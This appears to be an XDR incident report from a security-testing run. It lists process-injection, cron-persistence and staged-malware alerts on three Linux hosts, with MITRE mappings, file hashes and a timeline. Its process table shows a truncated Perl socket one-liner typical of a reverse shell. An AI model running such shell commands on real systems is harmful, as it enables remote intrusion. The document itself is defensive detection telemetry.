Incident #1034 - XDR Test Manager

HIGH 'Process Injection - 288965039' along with 18 other issues

RESOLVED SECURITY TESTING ID: #1034 | Created: 2026-01-08 15:20:09

Alerts

Hosts

Files

Network

Incident Overview

'Process Injection - 288965039' along with 18 other issues generated by XDR Agent and XDR BIOC detected on 3 hosts involving 2 users

Alert Count 19

Modified 2026-01-08 15:36

Assigned To Unassigned

Sources XDR Agent, XDR BIOC

Alert Categories

Malware Execution

Affected Hosts & Users

Hosts (3)

Users (2)

root inbridge-ubt-24\inbridge-ubt-24

MITRE ATT&CK Mapping

Tactics (4)

TA0005 - Defense Evasion TA0003 - Persistence TA0004 - Privilege Escalation TA0002 - Execution

Techniques (4)

T1053.003 - Scheduled Task/Job: Cron T1027.010 - Obfuscated Files or Information: Command Obfuscation T1059.004 - Command and Scripting Interpreter: Unix Shell T1055 - Process Injection

Related Alerts 19

ID	Severity	Name	Host	Action	Time
17679	HIGH	Persistency - 779040014	inbridge-ubt-24	Prevented (Blocked)	01-08 15:29
17676	HIGH	Process Injection - 288965039	inbridge-ubt-24	Detected (Reported)	01-08 15:29
17675	MEDIUM	Perl script connecting to network	inbridge-ubt-24	Detected	01-08 15:29
17674	HIGH	Staged Malware Activity - 2123359011	inbridge-42	Detected (Reported)	01-08 15:29
17671	HIGH	Process Injection - 288965039	inbridge-42	Detected (Reported)	01-08 15:29
17670	HIGH	Process Injection - 288965039	in-bridge-40	Detected (Reported)	01-08 15:29
17669	HIGH	Process Injection - 288965039	in-bridge-40	Detected (Reported)	01-08 15:28
17666	HIGH	Process Injection - 288965039	inbridge-ubt-24	Detected (Reported)	01-08 15:28
17667	HIGH	Persistency - 779040014	inbridge-ubt-24	Prevented (Blocked)	01-08 15:28
17665	HIGH	Process Injection - 288965039	inbridge-ubt-24	Detected (Reported)	01-08 15:28
17663	HIGH	Persistency - 779040014	inbridge-42	Prevented (Blocked)	01-08 15:28
17658	HIGH	Persistency - 456694134	inbridge-42	Detected (Reported)	01-08 15:28
17662	HIGH	Persistency - 779040014	inbridge-42	Prevented (Blocked)	01-08 15:28
17657	HIGH	Persistency - 779040014	inbridge-42	Prevented (Blocked)	01-08 15:28
17655	HIGH	Process Injection - 288965039	inbridge-42	Detected (Reported)	01-08 15:28
17652	HIGH	Process Injection - 288965039	in-bridge-40	Detected (Reported)	01-08 15:28
17645	HIGH	Process Injection - 288965039	in-bridge-40	Detected (Reported)	01-08 15:20
17643	HIGH	Persistency - 456694134	inbridge-ubt-24	Detected (Reported)	01-08 15:20
17640	HIGH	Process Injection - 288965039	inbridge-ubt-24	Detected (Reported)	01-08 15:20

File Artifacts 28

File Name	Path	SHA256	Signature	Verdict	Actions
98-reboot-required	-	`ede15e980ec54e7211923a42b77531ee06a15e2a728f645004b4c0fff3d660f7`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
update-motd-reboot-required	-	`e18f8d28bdff7d892991fb2c9d723964672f651225aaf03fe3848c215da1ecbe`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
sshd	-	`4cc983fa8f3a26626981dbbe79113348fb86cca3ec426f6af5fabd08215fd5e1`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
cat	-	`90c9437a02857838ccc0ce1ff8652691181bfb67135a1173dd276f91fa57d7ec`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
sh	-	`86d31f6fb799e91fa21bad341484564510ca287703a16e9e46c53338776f4f42`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
run-parts	-	`3f36124107498d18ddacfbfe773df11e7094d5d143194cdfcec8804cccc81f64`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
update-motd-fsck-at-reboot	-	`ee7dc35db83e025c41460b03c37bf45f03c7f7d654b74bd3828cb9af107d90d1`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
zsh	-	`f88db3dd0a2909ed62cdb645dbb7b56a6bee5abbe310751dc0f549a811222f46`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
bash	-	`bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
crontab	-	`d71b4e26034ec955cae7e7101a4b33f5923b3396a0e1e1893cd1274bbb51c3ec`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
sleep	-	`06d3927480c7554337818dbf5d91d78689bc8321237280e3d452028d5d1c3f43`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
update-motd-fsck-at-reboot	-	`88b40e43ddc24e66a2056388ac737f018af1cf92ce878431927226ced511f731`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
bash	-	`59474588a312b6b6e73e5a42a59bf71e62b55416b6c9d5e4a6e1c630c2a9ecd4`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
sh	-	`4f291296e89b784cd35479fca606f228126e3641f5bcaee68dee36583d7c9483`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
run-parts	-	`6662ac8211738cab5e9c8138f92c9f54319a1892ec3da24f47620d46963671a8`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
sshd	-	`090ecdb53316ebadc17949e4699540588dcb0896dbb0a8ae93da72a8e20ad781`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
date	-	`423e1cf8af70dd477a56d019912e13660199df3a01420f5ced7dadcc2b786bdc`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
cat	-	`210ffa7daedb3ef6e9230d391e9a10043699ba81080ebf40c6de70ed77e278ba`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
timeout	-	`375eaa8774baf7667515932c4d6fa2e31a2c21e9c50f152a27c4c6a718374ebe`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
ls	-	`12a6d908a68ccf6f9f3d799705577c28763f5deef6eddcff7643d6d8a6de543d`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
ls	-	`0148f5ab3062a905281d8deb9645363da5131011c9e7b6dcaa38b504e41b68ea`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
whoami	-	`38433f7ca2a213ae627ccc4fc44b9db8c9a6873123f6bef16e2db325e114740d`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
date	-	`08b85d43067bcd15edb0882d5372a8b5635e211f76b62ccc4d575f2ed4920e18`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
awk	-	`b951dad211e5b2fcb1fa989a483c52ca3ce80b9353668307989826b114ce8e0c`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
perl	-	`38d70f54fd18d614e9e6cc35c960b45f54e7b991894b8308e704ae9953c86ce4`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
id	-	`2477c312a6fd6beb585ccbfccaf78cc0c742b65f0bda6a308f6d239d35ffc3e4`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
curl	-	`aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT
base64	-	`e8e52c2af48cbd8202304496b3f7d05f53a2ecc4b3fb0f1b81acfed58e57a042`	SIGNATURE_UNAVAILABLE	UNKNOWN	VT

Network Artifacts 0

No network artifacts found for this incident

Process Artifacts 19

Process	Command Line	Parent Process	User
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
timeout	`timeout 2 perl -e use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))...`	sshd	inbridge-ubt-24\inbridge-ubt-24
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root
sshd	`sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`	sshd	root

Registry Artifacts 0

No registry artifacts found for this incident

Analyst Verdict

Classification

Risk Level

HIGH

Resolution Notes

Bulk resolved via XdrTestManager IncidentLive

Recommended Actions

Isolate affected endpoints
Investigate all related alerts
Document findings

Summary

Alerts

Hosts

Files

Network

Alert Categories

Malware Execution

Timeline

01-08 15:36:20

Incident Modified

Status or details updated

01-08 15:36:20

Incident Resolved

resolved security testing

01-08 15:29:31

Persistency - 779040014

high - Prevented (Blocked)

01-08 15:29:29

Process Injection - 288965039

high - Detected (Reported)

01-08 15:29:26

Perl script connecting to network

medium - Detected

01-08 15:29:11

Staged Malware Activity - 2123359011

high - Detected (Reported)

01-08 15:29:07

Process Injection - 288965039

high - Detected (Reported)

01-08 15:29:03

Process Injection - 288965039

high - Detected (Reported)

01-08 15:28:58

Process Injection - 288965039

high - Detected (Reported)

01-08 15:28:54

Process Injection - 288965039

high - Detected (Reported)

01-08 15:28:53

Persistency - 779040014

high - Prevented (Blocked)

01-08 15:28:48

Process Injection - 288965039

high - Detected (Reported)

01-08 15:28:31

Persistency - 779040014

high - Prevented (Blocked)

01-08 15:28:31

Persistency - 456694134

high - Detected (Reported)

01-08 15:28:29

Persistency - 779040014

high - Prevented (Blocked)

01-08 15:28:27

Persistency - 779040014

high - Prevented (Blocked)

01-08 15:28:26

Process Injection - 288965039

high - Detected (Reported)

01-08 15:28:22

Process Injection - 288965039

high - Detected (Reported)

01-08 15:20:10

Process Injection - 288965039

high - Detected (Reported)

01-08 15:20:09

Incident Created

#1034 - 'Process Injection - 288965039' along with 18 other issues

01-08 15:20:09

98-reboot-required

Verdict: Unknown

01-08 15:20:09

update-motd-reboot-required

Verdict: Unknown

01-08 15:20:09

sshd

Verdict: Unknown

01-08 15:20:09

cat

Verdict: Unknown

01-08 15:20:09

Verdict: Unknown